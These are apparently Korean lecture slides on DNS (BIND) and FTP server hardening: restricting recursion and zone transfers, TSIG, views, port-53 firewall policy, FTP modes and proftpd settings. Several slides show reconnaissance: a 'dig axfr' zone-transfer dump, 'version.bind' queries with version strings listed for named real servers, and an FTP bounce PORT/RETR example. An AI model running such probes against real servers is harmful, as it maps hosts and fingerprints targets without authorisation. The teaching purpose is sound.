Bind 및 DNS 버전 Bind 4.x 개발중단. Bind 8.x root DNS 및대부분의 DNS 에서사용. 일반적인 Query 응답율가장좋음. No new feature,only major security patch. Bind 9.x DNSSEC 등보안을고려한 code-rewrite. 기능개선및 multithread 지원 (answering queries while loading zones) djbdns 보안을고려한설계. 그러나 DNS protocol 을따르지않음 (zone-transfer, tcp 53 지원 X, 기타새로운기능제공계획없음 ) Nsd(Name Server Daemon) http://www.nlnetlabs.nl/nsd/ 위임도메인에대한 Query 응답율가장좋음, Authoritative-only. 112

master/slave DNS 이해 긍정적캐싱 / 부정적캐싱문제 primary, secondary? (X) 1 차, 2 차? (X) master, slave! (O) 잘못된상식! master 가다운되면 backup DNS 인 slave 가응답한다? (1) 최상위 Root DNS 의경우 A.root-servers.net : master B-M.root-servers.net : slave (2).kr 최상위 DNS 의경우 a.dns.kr : master b~g.dns.kr : slave master, slave 의차이점 단지서버가어디에서데이터를얻어오는가에따른분류일뿐! Slave 가백업은아님!! 113

DNS 서버의용도에따른분리 Advertising : 위임권한이있는도메인에대한질의만응답 Resolving : 모든도메인에대한질의에응답 # nslookup nog.or.kr. nis.dacom.co.kr Server: nis.dacom.co.kr Address: 164.124.101.31 Name: nog.or.kr Served by: - J.ROOT-SERVERS.NET 192.58.128.30 # nslookup nog.or.kr. ns.dacom.co.kr Server: ns.dacom.co.kr Address: 164.124.101.2 Name: nog.or.kr Address: 203.231.233.36 - K.ROOT-SERVERS.NET 193.0.14.129 - L.ROOT-SERVERS.NET 198.32.64.12 114

DNS 서비스제한 -recursion Recursion 제한필요성 (1) DoS 공격차단 (2) spoofing 및 cache poisoning 차단 Recursion 제한설정법 options { allow-recursion {127.0.0.1; 192.168.1.0/24; }; }; 또는 acl internal { 127.0.0.1; 192.168.1.0/24; }; options { allow-recursion {internal; }; }; 순환질의예 recursion 여부확인 : http://dns.measurement-factory.com/cgi-bin/openresolvercheck.pl 115

DNS 서비스제한 -zone transfer * zone-transfer 를허용하였을경우 (1) 시스템자원과 bandwidth 를모두사용하여 DoS 로악용될수있는여지가있음. (2) 호스트이름과 IP매핑등민감한정보유출가능성. * zone-transfer 제한 slave DNS IP (1) master-slave 사용시 options { allow-transfer { 192.168.1.10; }; }; options { allow-transfer { none; }; }; (2) Only master 만사용시 options { allow-transfer { none; }; }; (3) 특정도메인만제한시 zone "server.com" { type master; file "server.zone"; allow-transfer { 192.168.1.10; }; }; zone-transfer 실행예 [root@dns /root]# dig @ns.xxxxx.ac.kr xxxxx.ac.kr axfr ; <<>> DiG 8.2 <<>> @ns.xxxxx.ac.kr xxxxx.ac.kr axfr ; (1 server found) $ORIGIN xxxxx.ac.kr. @ 1H IN SOA ns root.ns ( 2003101773 ; serial 6H ; refresh 10M ; retry 1W ; expiry 1H ) ; minimum 1H IN NS ns 1H IN NS ns2 1H IN MX 0 smtp 1H IN MX 10 smtp2 1H IN A xxx.xxx.6.20 ling 1H IN A xxx.xxx.100.22 script 1H IN A xxx.xxx.44.18 mobicomm 1H IN A xxx.xxx.19.212 knuth 1H IN A xxx.xxx.44.14 maynard 1H IN A xxx.xxx.47.79... 이하중략 116

TSIG 를활용한보안강화 * TSIG : Transaction SIGnature 의약자양서버간사전에공유된암호키를이용한트랜잭션으로 IP 기반의접근통제보다안전하고효율적 ( 무결성및인증 ) * master /slave 2 대이상사용시에만필요 * 양서버간시간동기화중요 (5 분이상차이시 expired) * [root@dns root]# dnssec-keygen -a hmac-md5 -b 128 -n HOST host1- host2. Khost1-host2.+157+35206 암호화키가저장된파일 128bit(16byte) 의 hmac-md5 키를생성하고그결과를 base-64 로인코딩 IP 기반접근통제예 ) allow-transfer { 192.168.3.4; ); TSIG 기반접근통제예 ) allow-transfer { key host1-host2; ); 117

TSIG 를활용한 zone-transfer 예 *master 서버에서설정 key host1-host2. { algorithm hmac-md5; secret "+NLqXOznZv4jhV5amBL2yg=="; }; zone "server.com" { type master; file "server.zone"; allow-transfer { key host1-host2.; }; }; * slave 서버에서설정 key host1-host2. { algorithm hmac-md5; secret "+NLqXOznZv4jhV5amBL2yg=="; }; server 192.168.3.5 { // 192.168.3.5 는 master DNS 의 IP keys { host1-host2.; }; }; zone "server.com" { type slave; masters {192.168.3.5;}; file "server.zone"; }; 118

Bind 버전정보제한 * Bind 버전스캔은공격에대한사전단계 * Bind 버전질의방법 (1) dig 을이용하는방법 # dig @ns.server.com txt chaos version.bind (2) nslookup 을이용하는방법 # nslookup -q=txt -class=chaos version.bind ns.server.com version No!!"; kisa.or.kr "I don`t know name.kt.co.kr "8.3.4-REL" nis.dacom.co.kr "Happy Day!" ns.dacom.co.kr "NO!!!" ns.kornet.net "Cyber World Leader Kornet!" ns.thrunet.com "8.3.3-REL-IDNS" ns.daum.net "8.4.1-REL" ns.netfos.net "Hanaro Telecom Inc." ns.kaist.ac.kr "BIND 8.1.2" ercc.snu.ac.kr "ngdn-021115" ns1.nic.or.kr "8.4.1-REL" ns.imbc.com "8.2.3-REL" ns.chosun.com "8.3.1-REL" ns1.nate.com BIND 8.2.2-P5" nic.samsung.co.kr "ngdn-021117" prmns.lg.co.kr "8.3.4-REL" a.root-servers.net "VGRS2" b.root-servers.net "8.2.5-REL" c.root-servers.net "8.4.0-RC1" d.root-servers.net "8.3.4-REL" e.root-servers.net "8.3.4-REL" h.root-servers.net "8.3.6-REL" i.root-servers.net "8.3.4-REL" j.root-servers.net "VGRS2" l.root-servers.net "named-8.4.1" m.root-servers.net "8.3.6-REL" 119

view 를이용한 DNS 분해 acl "secure-zone" { 211.47.75.0/24; }; view "internal" { // 내부사용자를위한설정 match-clients { "secure-zone"; }; zone "server.com" { type master; file "server_com_secure.zone"; }; }; view "external" { // 외부사용자를위한설정 match-clients { any; }; recursion no; // 외부에서의 recursion을제한 zone "server.com" { type master; file "server_com_external.zone"; // 외부에보이는 zone 설정 }; }; 120

Reverse DNS #dig @ns.dacom.co.kr 50.66.47.211.in-addr.arpa ptr # dig @ns.dacom.co.kr -x 211.47.66.50 질의과정추적 # dig @a.root-servers.net -x 211.47.66.50 +trace 121

Reverse DNS 를하지않도록 zone "in-addr.arpa" { type master; file "rev.rev"; }; ============================================ $TTL 5D @ IN SOA ns.test.co.kr. root.test.co.kr. ( 2000022000 ; Serial 28800 ; Refresh 14400 ; Retry 3600000 ; Expire 86400 ) ; Minimum IN NS ns.test.co.kr. 1.1.1.1 IN PTR host.test.co.kr. 122

DNS 방화벽정책 *udp,tcp53 번의용도 udp 53 : 일반적인 DNS 질의, 전송 tcp 53 : (1) Zone transfer 와같이많은용량을전송시 (2) udp 53 의메시지사이즈가 484 byte 초과시 tcp 로재질의 * tcp 53 을허용할것인가? DNS servers MUST support UDP and SHOULD support TCP (RFC 1123) dig @dns.server.com server.com. any +tcp dig @dns.server.com server.com. any +notcp * 허용할소스포트 : 1024:65535, 53 -bind 4.x 에서는 source port 로 53 사용. - query-source address * port 53 ; 과같이소스포트지정가능 (only udp) 123

기타 DNS 이슈 -root Server * 2002 년 10 월 21 일 1 시간여동안 root 서버에대한 icmp 기반의 DDoS 공격발생. 9 개 root 서버에영향 일부접속지연등의현상발생 http://boston.internet.com/news/article.php/1486981 전세계적으로 13 개의 root-server 가운영중. http://www.root-servers.org/ gtld (com/net) DNS 도전세계적으로 13 개가운영중 VeriSign 에의해운영 현재 7 개의.KR 네임서버가운영 KRNIC 에서 2 대운영 (Primary) 4 개의기관에서 5 대운영 (Secondary) 124

FTP 서버보안 File Transfer Protocol IETF RFC 959 파일전송을위한인터넷표준 client Control connection (FTP commands) (FTP replies) data connection Server 파일을전송하기위해 2개의 TCP 연결을동시에사용 (1) 제어연결 (control connection): 클라이언트에서의서버로의명령과서버의응답을위한제어연결 (21번포트 ) (2) 데이터연결 (data connection): 파일이전송될때생성되는데이터연결 FTP 명령어 - 3 또는 4 바이트의 ASCII 대문자로구성되며, 어떤것은옵션변수를갖고있음 FTP 응답 - 3 바이트의 ASCII 숫자와숫자뒤옵션메시지로구성 [ 예 ] 331 Username OK, password required 125 Data connection already open: transfer starting 425 Can t open data connection 125

Ftp 전송모드에대한이해 두개의포트사용 21 : command, control 포트 20 또는 1024이후 : data 포트 두개의모드가능 각기모드는 Client 에서결정 Active : 21, 20번포트사용 Passive : 21, 1024 이후의포트사용 Active 와 Passive 모드의장단점은무엇인가? * Active : 두개의포트만열면된다. 클라이언트에방화벽이설치되어있다면? * Passive : 1024 이후의포트모두를열어야한다. 서버에서 Passive 에서사용할수있는포트제한. 126

Ftp 전송모드에대한이해 (1) Active FTP Server Client 20 21 1500 1501 <---- 두번째포트알려줌 --- ----- 수신확인 ------- ---------- 두번째포트연다 ---------- <--------- 수신확인 ---------------- 127

Ftp 전송모드에대한이해 (2) Passive FTP Server Client 20 21 1500 1501 <---- 두번째포트질의 ---- 3600 ----- 두번째포트알려줌 - <-------- 명령채널 -------------- --------- 수신확인 ------------ 128

(1) Active FTP # ftp -d server Name (server:root): cisco ---> USER cisco 331 Password required for cisco. Password: ---> PASS XXXX 230 User cisco logged in. ---> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la ---> PORT 192,168,1,3,173,114 192,168,1,3 : IP주소, 173,114 : 포트 200 PORT command successful. 173*256+114=44492 ---> LIST -la 150 Opening ASCII mode data connection for file list. 1:45:32.892194 eth0 < SERVER.ftp-data > 192.168.1.3.44492: S 2106078366:2106078366(0) win 5840 <mss 1460> (DF) 3 단계과정 129

(2) Passive FTP # ftp -p -d server Name (server:root): cisco ---> USER cisco 331 Password required for cisco Password: ---> PASS XXXX 230 User cisco logged in. ---> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ---> PASV 227 Entering Passive Mode (server,205,115). Server: IP 주소, 205,115 : 포트 ---> LIST 205*156+115=52595 150 Opening ASCII mode data connection for file list eth0 > 192.168.1.3.44551 > server.52595: S 2431955043:2431955043(0) win 5840 <mss 1460> (DF) 3 단계과정 130

FTP 공격유형 (1) FTP Bounce Attack FTP 세션에서클라이언트가포트 21 번연결을요구하고, 핸드쉐이크 (handshake) 가이루어지면클라이언트는데이터전송을위한포트정보를서버로보낸다. 그러나이러한행동은 attacker 는시작한클라이언트가아닌 attacker 가선택한시스템상의포트에연결할수있음을의미 즉, FTP 서버는클라이언트가지시한곳으로자료를전송할때, 그목적지가 어떤곳 인지는검사하지않음. 이는 FTP 서버의취약성보다는 FTP 프로토콜의설계상문제점임 [ 공격예 ] 거짓편지, 포트스캐닝, 방화벽을넘어접근하기 client PORT 172,16,14,7,4,150 Server RETR 140.252.13.34 172.16.14.7:1174 131

Proftpd 보안 proftpd : http://www.proftpd.org/ -wu-ftpd의대안으로개발 - 매우안정하고빠름 -xinetd/ standalone 형태로작동가능 ftp접속시확인설정 1 /etc/passwd, /etc/shadow에사용자계정이있는지검사. 2 /etc/ftpusers에사용자 id가있으면거부. 3 /etc/shell에등록되지않은쉘을사용하는유저는접근거부 RequireValidShell off ( 허용하려면..) 132